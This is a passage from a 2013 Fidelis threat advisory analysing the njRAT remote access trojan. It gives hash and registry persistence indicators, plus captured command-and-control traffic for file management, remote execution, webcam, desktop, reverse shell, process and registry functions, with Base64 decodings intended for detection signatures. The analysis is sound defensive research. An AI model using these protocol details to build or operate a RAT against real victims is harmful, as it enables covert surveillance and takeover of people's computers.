exe 2cdbbe5045bed2031a1fc77c3e30e719 C:\Program Files\Facebook\QuadAtom\ .tmp TEMP\Trojan.exe  (MD5: f6b4a2be06fc3ba4bb02d1bcbea328fe, Size: 95232) C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 17 of 27 njRAT Uncovered f6b4a2be06fc3ba4bb02d1bcbea328fe [CWD]\.tmp, or C:\Program Files\Facebook\QuadAtom\ .tmp TEMP\Trojan.exe C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\5cd8f17f4086744065eb0992a09e05a2 .exe www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 18 of 27 njRAT Uncovered Table 3: MD5 hash, Registry artifacts MD5 Registry Entrenchment 2013385034e5c8dfbbe47958fd821ca0 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\9758a8dfbe 15a00f55a11c8306f80da1 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\9758a8dfbe 15a00f55a11c8306f80da1 7c42d2426c51318f5947a92bf23e1686 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\d30ac69192 5b853d59f2822ae7a67c94 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d30ac6 91925b853d59f2822ae7a67c94 a6da3b63981e345e1c3cd58c6e3dc7fc HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\d30ac69192 5b853d59f2822ae7a67c94 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d30ac6 91925b853d59f2822ae7a67c94 e1471b169d6b4049d757bb705877d329 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\d2be3e6d11 846430c067fc874a79f583 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d2be3e 6d11846430c067fc874a79f583 1d3baedd747f6f9bf92c81eb9f63b34b HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\b6554e5bcf ef391ff7a7ffda58092e10 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\b6554e5bcf ef391ff7a7ffda58092e10 a669c0da6309a930af16381b18ba2f9d HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f40 86744065eb0992a09e05a2 5fcb5282da1a2a0f053051c8da1686ef HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f40 86744065eb0992a09e05a2 3b99f596b36ece7b6add78e3b14a3b17 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\2635ef5d1f5 dc1ac753feb21f019d8e4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2635ef5 d1f5dc1ac753feb21f019d8e4 79dce17498e1997264346b162b09bde8 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\8515eb34d8 f9de5af815466e9715b3e5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8515eb 34d8f9de5af815466e9715b3e5 3ad5fded9d7fdf1c2f6102f4874b2d52 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\49afcb0bd0 c44cd98007157d78e8394a www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 19 of 27 njRAT Uncovered HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\49afcb0bd0 c44cd98007157d78e8394a fc96a7e27b1d3dab715b2732d5c86f80 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5cd8f17 f4086744065eb0992a09e05a2 60f1b8980d109a556922d5000ae02010 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\1052b8e907 1d5b658c32c84c463014f5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1052b8 e9071d5b658c32c84c463014f5 92ee1fb5df21d8cfafa2b02b6a25bd3b HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\8515eb34d8 f9de5af815466e9715b3e5 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\8515eb34d 8f9de5af815466e9715b3e5 2164c555f9f23dca54e76b94b1747480 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\8cff24636d2 a58810bd5cdc8cb1b8987 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8cff246 36d2a58810bd5cdc8cb1b8987 a98b4c99f64315aac9dd992593830f35 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\8cff24636d2 a58810bd5cdc8cb1b8987 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8cff246 36d2a58810bd5cdc8cb1b8987 7e34abdd10c5c763291e69a886452849 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\12ce4e06a8 1e8d54fd01d9b762f1b1bb HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\12ce4e 06a81e8d54fd01d9b762f1b1bb 29daad42dafffab5e0f1f96d620e7392 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5cd8f17 f4086744065eb0992a09e05a2 4168543695513f767ba44997ebd71431 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5cd8f17 f4086744065eb0992a09e05a2 fb671c8735461809534813b818d193f4 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\191530b485 fd6f0420e2c6bff7f0dbd7 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\191530b485 fd6f0420e2c6bff7f0dbd7 2bf859ea02ae3340cd66eb5e46b1a704 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 20 of 27 njRAT Uncovered 6744065eb0992a09e05a2 24cc5b811a7f9591e7f2cb9a818be104 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\28a9e392f7 4a71da2b5285754eb1baca HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\28a9e392f7 4a71da2b5285754eb1baca 11b79281a25da1b798574f667c56898b HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\614ef891df3 02ed5efa9b06422720faf HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\614ef891df3 02ed5efa9b06422720faf 2cdbbe5045bed2031a1fc77c3e30e719 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 f6b4a2be06fc3ba4bb02d1bcbea328fe HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\5cd8f17f408 6744065eb0992a09e05a2 The following will present the network traffic observed when different options were selected from the njRAT C2 server GUI (YELLOW  Data sent by C2.
TURQUOISE  Response from Victim).
These artifacts will hopefully assist the research community with generation of network signatures to detect this threat: - File Manager window In this case, the C:\ directory of the Victim system was browsed and a folder named njRAT_Directory_Created was created in it.
Main network traffic indicators of C2 activity through its File Manager window: o FM o nd New directory to be created FM217.66.231.100:1264[endof][endof]FM217.66.231.100:1264QzpcO0ZpeGVkQzpcRG9jdW1lbnR zIGFuZCBTZXR0aW5nc1xFeGFtaW5lclxEZXNrdG9wXDsQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFta W5lclxNeSBEb2N1bWVudHNcOwQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW5lclw7QzpcRG9jd W1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW5lclxTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcOwQzpcUH JvZ3JhbSBGaWxlc1w7XDsQzpcV0lORE9XU1w7QzpcV0lORE9XU1xzeXN0ZW0zMlw7QzpcRG9jdW1lbn RzIGFuZCBTZXR0aW5nc1xFeGFtaW5lclxBcHBsaWNhdGlvbiBEYXRhXDsQzpcRE9DVU1FfjFcRXhhbWluZXJcT E9DQUxTfjFcVGVtcFw7[endof]Qzpc[endof]FM217.66.231.100:1264QzpcRG9jdW1lbnRzIGFuZCBTZX R0aW5ncwTGliTVNPQ2FjaGUUERGU3RyZWFtRHVtcGVyUGVybAUHJvZ3JhbSBGaWxlcwUHl0aG9uMj UUHl0aG9uMjYUHl0aG9uMjcUkVDWUNMRVIUnVieTE5MwU3lzdGVtIFZvbHVtZSBJbmZvcm1hdGlvbg dGxzV0lORE9XUwezkzNjI4OTA2LUE2QUItNENFNC1BQzhCLUI0MkYwRThCRTc5N30[endof]Qzpc[endof] www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 21 of 27 njRAT Uncovered FM217.66.231.100:1264QzpcLnJuZDsxMDI0QVVUT0VYRUMuQkFUOzAYm9vdC5pbmk7MjExQ09OR klHLlNZUzswSU8uU1lTOzATVNET1MuU1lTOzATlRERVRFQ1QuQ09NOzQ3NTY0bnRsZHI7MjUwMDMycGFnZ WZpbGUuc3lzOzgwNTMwNjM2OAVklSVFBBUlQuREFUOzI1MTY1ODI0[endof]P[endof]P[endof]P[endof]P[endof] ndQzpcbmpSQVRfRGlyZWN0b3J5X0NyZWF0ZWQ[endof] 217.66.231.100  Victims IP.
The following table provides information about some of the encoded data which is files and directories in the folder browsed.
Encoded Data Decoded Data QzpcO0ZpeGVk C:\Fixed QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW 5lclxEZXNrdG9wXDs C:\Documents and Settings\Examiner\Desktop\ QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW 5lclw7 C:\Documents and Settings\Examiner\ QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW 5lclxTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBc Ow C:\Documents and Settings\Examiner\Start Menu\Programs\Startup\ bnRsZHI7MjUwMDMycGFnZWZpbGUuc3lzOzgwNTMw NjM2OA ntldr250032 TlRERVRFQ1QuQ09NOzQ3NTY0 NTDETECT.COM47564 TVNET1MuU1lTOzA MSDOS.SYS0 ezkzNjI4OTA2LUE2QUItNENFNC1BQzhCLUI0MkYwRT hCRTc5N30 93628906-A6AB-4CE4-AC8B-B42F0E8BE797 cGFnZWZpbGUuc3lzOzgwNTMwNjM2OA pagefile.sys805306368 QzpcbmpSQVRfRGlyZWN0b3J5X0NyZWF0ZWQ C:\njRAT_Directory_Created - Run File - From Disk window Main network traffic indicator of C2 activity through its RunFile-From Disk window: rn P[endof]P[endof]rn.exeH4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjK asqgcplVmVdZhZAzO2dvPfee999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9fB8/Ir74qT/p1/i1f41f49f4dej///f// Wv8Gn/XryHP76k/Nz3/G/3/N/ld/p7f5Nf4237sn/9d/65f8/k//7umRdNuqqrizpbpNNsuazadJKn ------------------------------------------------- TRUNCATED BY EXAMINER ------------------------------------------------------------ 5S17Md7HuM1Q7/a37Hs/NrYH0I2MoaJJXr93oJ9xrq33GrQavkPtn9PfF9zSzDGwu6BVa7Tpf5bGn81/XP3gXl0w k6O9JEvRrEq8I/EJxNmNfDuA5p/4fJ/W4H9N4lesH8oL1DRnU/uuOxHTN3ynSUhGj/9NcB3P0k91BGu/DVjdN PdM3PKNYMy/pp88XP/br/E2/Dv/y/9Ln/wHcuiMpAIwAAAA[endof]bla[endof]actQmluVGV4dCAzLjAuMw[endof]P[ endof]P[endof] www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 22 of 27 njRAT Uncovered In this case, an application called BinText (bintext.exe) was selected in the Attackers Machine.
This application was executed in the Victims machine.
The Victim system responded with the name of the new window opened: Encoded Data Decoded Data QmluVGV4dCAzLjAuMw BinText 3.0.3 The other portion of the traffic between the text TRUNCATED BY THE EXAMINER is the encoded executable (BinText) uploaded to the Victim system.
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Remote Desktop window Main network traffic indicators of C2 activity through its Remote Desktop window: o sc o scPK sc217.66.231.100:12641269885[endof]217.66.231.100:130612698850[endof]scPK217.66.231 .100:13061269,8850,0,/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDABQODxIPDRQSEBIXFRQYHjIhHhwcHj0sLi QySUBMS0dARkVQWnNiUFVtVkVGZIhlbXd7gYKBTmCNl4x9lnNgXz/2wBDARUXFx4aHjshITt8U0ZTfHx8fHx8fHx8f Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHz/wAARCACxBPUDAS ------------------------------------------------- TRUNCATED BY EXAMINER ------------------------------------------------------------ pP7Q8P/APPlbf8AfkUXDQ4miu2/tHw9/wAVr/35FH9peHvfO1/wC/IpgcTRXbDUPD7EBbK1JPAAhHNTvLpEZwlRq eOttjrRqwOCorvVk0hxldJjYbtmRbfxen1pxOlqSG0dQR1za9KLMDgKK7yebR7XH2nS4oc9PMttufzqD0vD3/Pna/8Afk UAcVRXbf2l4e/587X/AL8ik/tLw9/z52v/AH5FAHFUV239oHvfO1/wC/Ipf7Q8Pn/lxtv/IpAcRRXb/AG7QPfG2/78inR3 ehyuEj06B3Y4CrACTRcDhqK7xpdIWMyNpUYQcljbcD8aie0GPGwtl3AMMwAZB6GmBxFFdt/aXh7/nztf8AvyKP7S8 Pf8dr/35FAHE0 - Remote Cam window Main network traffic indicators of C2 activity through its Remote Cam window: o CAM o USB Video Device[endof] CAM192.168.1.100:1260USB Video Device[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.
100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192 .168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CA M192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0220,160[en dof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0220, 160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[endof]0 220,160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260[end of]0220,160[endof]CAM192.168.1.100:1260[endof]0220,160[endof]CAM192.168.1.100:1260 [endof]0220,160[endof]CAM192.168.1.100:1260/9j/4AAQSkZJRgABAQEAIQAgAAD/2wBDAAgGBgcG BQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQ kJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCACgANwDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQ www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 23 of 27 njRAT Uncovered IDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFV WV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NX W19jZ2uHi4Tl5ufo6erx8vP09fb3Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgE CBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJy gpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKk ------------------------------------------------- TRUNCATED BY EXAMINER ------------------------------------------------------------ FBPy5B5pgJ368DtSYIFLkk9OtHbvmmFxD1pnGelOJ460BSRnP6UAnY//9k[endof]0220,160[endof] - Remote Shell winodow Main network traffic indicator of C2 activity through its Remote Shell window: rs The following command was executed through the reverse shell: dir C:\ rss[endof]rss[endof]rsTWljcm9zb2Z0IFdpbmRvd3MgWFAgW1ZlcnNpb24gNS4xLjI2MDBd[endof]rsKEMpIENvcHl yaWdodCAxOTg1LTIwMDEgTWljcm9zb2Z0IENvcnAu[endof]rs[endof]P[endof]P[endof]rsZGlyIEM6XA[endof]rs QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW5lclxEZXNrdG9wXEdEPmRpciBDOlw[endof]rsIFZvbHVtZ SBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4[endof]rsIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIEM0MjYtNEVCQg [endof]rs[endof]rsIERpcmVjdG9yeSBvZiBDOlw[endof]rs[endof]rsMDQvMDIvMjAxMiAgMDM6MjkgUE0gICA gICAgICAgICAgMSwwMjQgLnJuZA[endof]rsMDIvMjcvMjAxMiAgMDk6MTIgQU0gICAgICAgICAgICAgICAgIDAgQ VVUT0VYRUMuQkFU[endof]rsMDIvMjcvMjAxMiAgMDk6MTIgQU0gICAgICAgICAgICAgICAgIDAgQ09ORklHLlNZUw [endof]rsMDcvMDkvMjAxMiAgMDQ6MjUgUE0gICAgPERJUj4gICAgICAgICAgRG9jdW1lbnRzIGFuZCBTZXR0aW 5ncw[endof]rsMDgvMDgvMjAxMiAgMDQ6MjIgUE0gICAgPERJUj4gICAgICAgICAgTGli[endof]rsMDQvMDIvMjAx MiAgMDM6MjYgUE0gICAgPERJUj4gICAgICAgICAgUERGU3RyZWFtRHVtcGVy[endof]rsMDQvMDIvMjAxMiAgMDM 6MzUgUE0gICAgPERJUj4gICAgICAgICAgUGVybA[endof]rsMDYvMDIvMjAxMyAgMTA6NDMgQU0gICAgPERJUj 4gICAgICAgICAgUHJvZ3JhbSBGaWxlcw[endof]rsMDgvMDkvMjAxMiAgMDc6MjAgUE0gICAgPERJUj4gICAgICAg ICAgUHl0aG9uMjU[endof]rsMDgvMDkvMjAxMiAgMDc6MTkgUE0gICAgPERJUj4gICAgICAgICAgUHl0aG9uMjY[e ndof]rsMDgvMDkvMjAxMiAgMDc6MTkgUE0gICAgPERJUj4gICAgICAgICAgUHl0aG9uMjc[endof]rsMDgvMTUvMj AxMiAgMDI6MjIgUE0gICAgPERJUj4gICAgICAgICAgUnVieTE5Mw[endof]rsMDQvMTUvMjAxMyAgMDU6NDAgUE 0gICAgPERJUj4gICAgICAgICAgdGxz[endof]rsMDMvMDYvMjAxMiAgMDE6MzQgUE0gICAgICAgIDI1LDE2NSw4MjQ gVklSVFBBUlQuREFU[endof]rsMDYvMDIvMjAxMyAgMTA6NDMgQU0gICAgPERJUj4gICAgICAgICAgV0lORE9XUw [endof]rsMDYvMDIvMjAxMyAgMTA6NDMgQU0gICAgPERJUj4gICAgICAgICAgezkzNjI4OTA2LUE2QUItNENFNC 1BQzhCLUI0MkYwRThCRTc5N30[endof]rsICAgICAgICAgICAgICAgNCBGaWxlKHMpICAgICAyNSwxNjYsODQ4IG J5dGVz[endof]rsICAgICAgICAgICAgICAxMiBEaXIocykgIDI0LDAxMywyMjUsOTg0IGJ5dGVzIGZyZWU[endof]rs[e ndof]rsc[endof]rsQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW5lclxEZXNrdG9wXEdEPg[endof]rsc[end of] Encoded Data Decoded Data TWljcm9zb2Z0IFdpbmRvd3MgWFAgW1ZlcnNpb24gNS 4xLjI2MDBd Microsoft Windows XP [Version 5.1.2600] KEMpIENvcHlyaWdodCAxOTg1LTIwMDEgTWljcm9zb2 Z0IENvcnAu (C) Copyright 1985-2001 Microsoft Corp. ZGlyIEM6XA dir C:\ QzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xFeGFtaW 5lclxEZXNrdG9wXEdEPmRpciBDOlw C:\Documents and Settings\Examiner\Desktop\GDdir C:\ www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 24 of 27 njRAT Uncovered IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4 Volume in drive C has no label.
IFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIEM0MjYtNEV CQg Volume Serial Number is C426-4EBB IERpcmVjdG9yeSBvZiBDOlw Directory of C:\ MDQvMDIvMjAxMiAgMDM6MjkgUE0gICAgICAgICAgIC AgMSwwMjQgLnJuZA 04/02/2012  03:29 PM             1,024 .rnd MDIvMjcvMjAxMiAgMDk6MTIgQU0gICAgICAgICAgICAg ICAgIDAgQVVUT0VYRUMuQkFU 02/27/2012  09:12 AM             0 AUTOEXEC.BAT MDIvMjcvMjAxMiAgMDk6MTIgQU0gICAgICAgICAgICAg ICAgIDAgQ09ORklHLlNZUw 02/27/2012  09:12 AM             0 CONFIG.SYS Basically, the response from the directory listing (date, time, file size, and file name) is sent back to the attacker in Base64 encoded format.
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Process Manager window Main network traffic indicator of C2 activity through its Process Manager window: o Process listing: proc o Killing a process: k[Process_ID] proc217.66.231.100:1185pid2396[endof][endof]proc217.66.231.100:118533[endof]proc217.66.2 31.100:1185C:\WINDOWS\system32\svchost.exe,976C:\WINDOWS\Explorer.
EXE,1804C:\Program Files\VMware\VMware Tools\vmacthlp.exe,960C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE,336C:\WINDOWS\System32\svchost.exe,1144C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe,1492C:\WINDOWS\system32\notepad.exe,1396C:\WINDOWS\system32\lsass.exe,7 76C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe,2560C:\DOCUME1\Examiner\LOCALS1\Temp\ahbornad.exe,2396C:\WINDOWS\sy stem32\notepad.exe,416C:\WINDOWS\system32\services.exe,764C:\Program Files\VMware\VMware Tools\vmtoolsd.exe,656C:\WINDOWS\system32\svchost.exe,160C:\WINDOWS\Microsoft.
NET\Framework\v4.0.3 0319\WPF\WPFFontCache_v0400.exe,2896C:\WINDOWS\system32\svchost.exe,1024C:\WINDOWS\system32\c md.exe,540C:\WINDOWS\system32\smss.exe,572C:\WINDOWS\system32\wscntfy.exe,2264C:\WINDOWS\sy stem32\ctfmon.exe,1992C:\Program Files\Symantec\Norton Ghost 2003\GhostStartTrayApp.exe,1904C:\WINDOWS\system32\spoolsv.exe,1544C:\Program Files\VMware\VMware Tools\vmtoolsd.exe,1896C:\Program Files\Symantec\Norton Ghost 2003\GhostStartService.exe,300C:\WINDOWS\system32\svchost.exe,1316C:\Program Files\VMware\VMware Tools\VMwareTray.exe,1888\?
?\C:\WINDOWS\system32\csrss.exe,640C:\WINDOWS\system32\rundll32.exe,188 0\?
?\C:\WINDOWS\system32\winlogon.exe,720System,4Idle,0C:\WINDOWS\system32\svchost.exe,1252 C:\WINDOWS\System32\alg.exe,1872[endof]P[endof]P[endof]k1396[endof]proc217.66.231.100:1185RM13 96[endof] In the above case, the Process Listing window opened in the Attackers VM was used to kill a process in the Victim VM.
Process information: o Process path:   C:\WINDOWS\system32\notepad.exe o Process ID:   1396 www.fidelissecurity.com www.threatgeek.com  FidSecSys 1800.652.4020 Copyright  2013 General Dynamics Fidelis Cybersecurity Solutions Rev.
2013-06-25 Threat Advisory 1009 Page 25 of 27 njRAT Uncovered - Registry window In this case, the Registry window opened in the Attackers VM was used to browse to the HKLM\Software\Microsost\Windows\CurrentVersion\Run location in the victim system.
Main network traffic indicator of C2 activity through its Registry window: RG P[endof]P[endof]RGHKEY_LOCAL_MACHINE\[endof]RGHKEY_LOCAL_MACHINE\HARDWARE SAMSECURITYSOFTWARESYSTEM[endof]RGHKEY_LOCAL_MACHINE\SOFTWARE\[endof]RG HKEY_LOCAL_MACHINE\SOFTWARE\7-ZipActiveStateAdobeATT Research LabsC07ft5YClassesClientsCygwinGemplusImmunity IncJetBrainsLHMacromediaMicrosoftMozillaPluginsNotepadNSIS_stunnelODBCoreasP erlPoliciesProgram GroupsPythonRed GateRegisteredApplicationsRubyInstallerSchlumbergerSecureSymantecThinPrintVMware, Inc. Windows 3.1 Migration StatusWinPcap167F5D73-87FF-4f15-8EBD- C502337D7B34[endof]RGHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\[endof]RGHKEY_LOCA L_MACHINE\SOFTWARE\Microsoft\.NETFrameworkActive SetupAD7MetricsADsAdvanced INF SetupALGASP.NETAudioCompressionManagerBidInterfaceCOM3Command ProcessorConferencingCryptographyCTFDataAccessDataFactoryDevDivDeviceManagerDfrg Direct3DDirectDrawDirectInputDirectMusicDirectPlayDirectPlay8DirectPlayNATHelpDirectXDriver SigningDRMDrWatsonEAPOLEnterpriseCertificatesESENTEventSystemExchangeFusionHTM LHelpIE SetupIE4IeakIMAPIIMEJPIMEKRIMEMIPIntelligent SearchInternet Account ManagerInternet Connection WizardInternet DomainsInternet ExplorerIPSecJetMachine Debug ManagerMediaPlayerMessengerServiceMicrosoft ReferenceMM20MMCMMCtlsForIEMobileMr.
EnigmaMSBuildMSDAIPPMSDTCMSLicensingMSMQMSNInstallerMSOSOAPMSXML 6.0 Parser and SDKMSXML60MultimediaNET Framework AUNET Framework SetupNetDDENetShNetShowNon-Driver SigningODBCOfficeOleOutlook ExpressPCHealthRasRAS AutoDialRemote DesktopRouterRpcScheduleSchedulingAgentSecureSecurity CenterSharedShared ToolsShared Tools LocationSmartCardSpeechSQMClientSystemCertificatesTcpipTelnetServerTerminal Server ClientTIP SharedTracingTransaction ServerTShootTuning SpacesUpdatesUPnP Device HostVBAVisualStudioWABWBEMWeb FoldersWeb Service ProvidersWindowsWindows Imaging ComponentWindows Media Device ManagerWindows Messaging SubsystemWindows NTWindows Script HostWindows Scripting HostWispWorksWSEWZCSVC[endof]P[endof]P[endof]RGHKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows\[endof]RGHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion HelpHTML HelpITStorageShellWindows Error Reporting[endof]RGHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\[endof]RG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App ManagementApp PathsAppletsControl PanelControls FolderCSCSettingsDateTimeDynamic DirectoryExplorerExtensionsGroup PolicyH323TSPHintsIMEInstallerInternet SettingsIntlRunIPConfTSPMS-DOS EmulationNlsOptimalLayoutPhotoPropertyHandlerpoliciesPreviewHandlersPropertySystemReinstall ReliabilityRunRunOnceRunOnceExSetupSharedDllsShell ExtensionsShellCompatibilityShellScrapShellServiceObjectDelayLoadSideBySideSMDEnStillImage SyncmgrTelephonyThemeManagerThemesUninstallURLWebCheckWindowsUpdateDevicePath/ ExpandString/C:\WINDOWS\infMediaPathUnexpanded/ExpandString/C:\WINDOWS\MediaSM_GamesName/Stri ng/GamesSM_ConfigureProgramsName/String/Set Program Access and DefaultsProgramFilesDir/String/C:\Program FilesCommonFilesDir/String/C:\Program Files\Common FilesProductId/String/76487-018-7438105- 22214WallPaperDir/ExpandString/C:\WINDOWS\Web\WallpaperMediaPath/String/C:\WINDOWS\MediaProgra mFilesPath/ExpandString/C:\Program FilesSM_AccessoriesName/String/AccessoriesPF_AccessoriesName/String/Accessories[endof]RGHKE 